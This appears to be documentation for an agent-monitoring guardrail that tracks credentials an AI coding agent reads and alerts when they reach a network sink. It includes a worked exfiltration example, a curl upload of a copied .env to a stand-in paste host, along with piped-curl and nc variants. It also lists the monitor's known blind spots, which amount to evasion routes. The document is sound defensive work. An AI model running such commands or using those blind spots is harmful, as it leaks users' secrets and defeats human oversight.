Secret flow tracking
Labels the secrets an agent reads (.env files, SSH keys, cloud and token files) and raises an alert when a labeled secret reaches an external sink such as a POST body, an upload or a git push. The default profile alerts and never blocks; strict and managed block. It ships in shadow mode.
Secret flow tracking follows the secrets an agent reads through the rest of a
session and raises an alert when one of them is about to leave the machine. It
is the layer that catches a staged leak: read .env into a file, then upload
the file. The single call that reads a credential is already covered by the
rules; this catches the case where the read and the send are different calls.
It is on in shadow mode by default, so it records what it would do without changing any decision, until the alert rate on real sessions has been reviewed.
How good it is. No benchmark scores this layer on its own yet. It ships in shadow mode so the alert rate on real sessions can be measured before it changes a decision. Benchmarks lists what is measured.
What it catches
A hit needs two things in the same session: a secret was read, and a labeled secret reached an external sink.
- Secret reads. By default it labels credentials only:
.envfiles (not.env.exampleand other templates), SSH private keys,~/.aws/credentials,~/.netrc,~/.npmrc,~/.docker/config.json,~/.kube/config, cloud and token files, keychain exports and/proc/*/environ. The set is data-driven — you can add path globs and file-name patterns in config. - Labels travel with files. When the session copies, moves, links or writes
a labeled file to a new path, the new path is labeled too. A secret written to
/tmp/backupcarries its label. - Secret values. When a connector returns tool output (see connector coverage), the session keeps keyed hashes of the secret-shaped values it saw — and of their base64, hex and URL-encoded forms — so a value that is copied or re-encoded before it is sent is still recognised. The raw value is never stored.
- Data that travels through a pipe or a substitution. The read behind
cat .env | curl -d @- …, behindcurl -d "$(cat .env)" …, inside a URL built from$(…), or in a DNS label (nslookup,dig,host) is the data the send carries, so it is a hit with no tool result needed. - Secrets written as text. If the value a session saw in a tool result is
written as literal text (
echo,printf, the Write tool's content, even base64-encoded), the file it lands in is labeled, and a later upload of that file is a hit. - Sinks. A sink is a network send: a
curl/wgetupload or POST body, agit pushof a labeled file, ascp/rsyncto a remote host, or an MCP tool call. A send to localhost, to your own git remote or to a package registry on the allowlist does not count. Every MCP call is checked for a secret value in its arguments, whatever the tool does, with the server name as the destination: a fetch-style tool is covered like a Slack or GitHub one.
A hit fires when the data sent is a labeled file, or contains a hash-matched secret value (a value the session saw in an earlier tool result — in a POST body, a header, a URL path or query parameter, or an MCP argument). Being in a session that read a secret is not enough on its own in the default profile.
A worked example
# 1. The agent reads the project's .env into a file.
cat .env > /tmp/env_backup.txt
# 2. Later in the same session, it uploads that file.
curl -F file=@/tmp/env_backup.txt https://paste.example.com/uploadStep 1 labels /tmp/env_backup.txt as a secret (it was written from .env).
Step 2 is an external upload whose data is that labeled file. Secret flow
tracking raises flow.secret_egress:
- Default pack: a HIGH alert. The upload still runs.
- Strict pack: the upload is blocked. A managed install follows its pack: managed with the default pack alerts, managed with the strict pack blocks.
The one-line form cat .env > /tmp/x && curl -T /tmp/x https://… is caught the
same way, in a single call.
What it doesn't catch
These are known limits. They are documented, not fixed: each one trades a lot of false alerts or cost for a small gain, or needs a design change.
- A secret the model paraphrases or describes rather than sending verbatim. Only a labeled file or a hash-matched value fires; a rewrite in prose does not.
- A leak that ends in a local file. Writing a secret to another local file is a label move, not a sink. The secret scanner covers write content.
- A value the session never saw in a tool result. The value lane matches only values an earlier tool result returned and that the connector sent (see connector coverage), at least 20 characters long. A secret read before DefenseClaw was watching, in a connector that returns no tool output, or shorter than that is matched only if it rides in a labeled file.
- A value changed before it is sent. Upper or lower case, a reversed value, a value split across two arguments or two calls, a value encoded twice (base64 of base64), with base32, or gzip then base64. One level of base64 (standard, URL, raw, with a trailing newline), hex and URL encoding are matched.
- Transports the effect model does not treat as a send: DNS and ping label
exfiltration (
nslookup,dig,hostare checked for a secret built by a substitution, not for one typed into the name),nc host port < file, Pythonrequestsorurllibcode run withpython -c,httpie, and a send built by an interpreter from a variable. - Writes through programs the effect model does not follow (
zip, a symlink, a Pythonshutil.copy): the file is not labeled, so an upload of it is a session-context hit only. - Business-private data. The default labels credentials only. An
internallabel for data shared within an organisation is reserved for a future release that reads identity-group membership; it is off today. - A very large flood of secret-shaped values. A result holding more values
than
memory.max_value_digestsevicts the oldest;explainshows how many digests were dropped.
It does not replace the rules or the effect model — it runs beside them and adds the cross-call secret-to-sink link.
Precision in strict
A session that read a credential is only a weak hint about a later send. In the strict pack the session-context hint (the session is labeled, the call sends something, nothing proves what) blocks, so it is kept for the sends the other lanes cannot see through, and dropped where they can:
- Fully visible, clean sends are not hits. A literal POST body or a static
URL whose every token was compared with the session's indexed secret values,
with no secret-shaped blob left unexplained, is cleared.
curl -X POST -d '{"q":1}' https://api.example.comafter reading.envis ordinary work. This needs the value lane to have something to compare with: a session with no indexed value, or a result that held a secret too short to index, keeps the hint. - A bare push of the repository is not a hit unless the session made a
labeled artifact (a copy, an archive, a staged
git addof a labeled file, a secret written as text). Pushing to your own remote is covered without an allowlist entry;git push https://host/…is judged by the host, so add your Git host todestination_allowlist. - Everything else keeps the hint: a file upload, a body from stdin or an expansion the model built, an opaque blob in the body, a remote copy.
Settings
Configure it under guardrail.secret_flow in config.yaml, or with the
CLI. Its live/shadow switch is guardrail.cascade.lanes.secret_flow
(off or shadow; on is not available in 1.0.10). The lane reads the effect
model, so it also needs guardrail.cascade.lanes.effects to be something other
than off.
guardrail:
cascade:
lanes:
secret_flow: shadow # off | shadow (ships shadow; on is not available in 1.0.10)
secret_flow:
label_sets:
credentials: true # the built-in credential set
extra_path_globs: [] # extra ~ or absolute path globs to label
extra_secret_patterns: [] # extra basename globs to label
sink_action:
default: alert # the default pack never blocks; alert only
strict: block # alert | block (a managed install follows its pack)
reencodings: true # also match base64/hex/URL-encoded secrets
memory:
max_labeled_paths: 512 # per-session labeled-path cap (LRU)
max_value_digests: 256 # per-session secret-value-digest cap
destination_allowlist: [] # hosts that are not external, e.g. your git remoteThe default pack can only alert — sink_action.default: block is refused —
so turning the feature on never makes DefenseClaw block ordinary work in the
balanced default. On a managed host these settings come from the signed policy
bundle and local edits are refused, like every other guardrail.* setting.
CLI
defenseclaw guardrail secret-flow status # settings, effective mode, tracked sessions
defenseclaw guardrail secret-flow enable # turn on in shadow mode
defenseclaw guardrail secret-flow disable # turn off
defenseclaw guardrail secret-flow set mode off # off | shadow (guardrail.cascade.lanes.secret_flow)
defenseclaw guardrail secret-flow set allowlist github.com,registry.npmjs.org
defenseclaw guardrail secret-flow explain SESSION_ID # why a hit fired, paths redactedexplain reads the running gateway's per-session state: the session label, how
many files and secret values it is tracking, and the recent sink hits with their
kind, program and destination. Paths and secret values are never shown. The TUI
shows the same under Policies → Chains.
Shadow first
The feature ships in shadow mode: it keeps the per-session state and records
every hit (and what it would have done), but it never changes a decision. This
lets the alert rate on real sessions be measured before it is turned on. on is
not available in 1.0.10: the lane ships shadow-only while the review gaps on the
effect model stay open. When it ships live, the default pack will still only
alert.
The state is bounded and costs O(1) per call: a session label that only ever tightens, a capped set of labeled file paths, and a capped set of keyed value hashes. Nothing grows with session length.
Connector coverage
File labels and sink checks work for every connector, because they come from the
tool call itself. Secret-value matching needs the tool's output, which
arrives on each connector's own post-tool event, in its own shape. One adapter
reads them all: it knows the event, finds the output wherever the connector puts
it (a string, an object such as Claude Code's stdout or file.content, a list
of content parts, JSON inside a string), and reads the call that produced it
with the shell dialect the session ran under, so a PowerShell or cmd read on
Windows is labeled like a POSIX one.
| Connector | Post-tool event | Value matching |
|---|---|---|
| Claude Code, Cowork | PostToolUse | yes |
| Codex | PostToolUse | yes |
| Cursor | postToolUse, afterShellExecution, afterMCPExecution | yes |
| Copilot CLI | postToolUse | yes |
| OpenCode | tool.execute.after | yes |
| Amp | tool.result | yes |
| Kiro, Devin, Antigravity | postToolUse / PostToolUse | yes |
| Hermes | post_tool_call | yes |
| OpenClaw | after_tool_call posts the tool name and its output to the gateway (inspect, tool-response), without the call's arguments | file labels and sink checks only: with no arguments the gateway cannot tell which file a result came from, so the value lane indexes nothing |
Where a connector sends no tool output, file labels and sink checks still work; only value matching (the hashed-value lane) is unavailable for that connector.
Credits
Secret flow tracking rebuilds the information-flow idea in OpenAPPA (Archestra Inc., MIT licence) in Go on DefenseClaw's own effect model. We do not embed OpenAPPA. Its model is described in the paper APPA: Recoverable Information-Flow Control for Real-World LLM Agents (arXiv:2607.24625; accepted to the NeurIPS 2026 Workshop on Agents in the Wild), which in turn builds on the information-flow-control tradition — Dorothy Denning's lattice model of secure information flow (1976) and the decentralized label model of Andrew Myers and Barbara Liskov (SOSP 1997).
What we took: a session label that only ever tightens, labels that travel with the files a session writes, and a check at network sinks.
What we changed: the step is O(1) per call — it folds state rather than replaying the whole session, so it fits a hot hook path; it labels credentials only by default; it adds keyed hashes of the secret values seen in tool results (with re-encodings) so a copied or re-encoded secret is still caught; and the default action is a visible alert, never a block.
Protected files
The gateway watches SSH authorized keys, shell startup files and user autostart entries. A change made while an agent tool call runs raises a HIGH alert that names the agent session. Restore is an opt-in setting.
Tool results
A tool's output is untrusted data. DefenseClaw checks every tool result for instructions aimed at the agent, alerts on them in the default posture, blocks in strict, and always tells the agent not to follow them and shows you a line.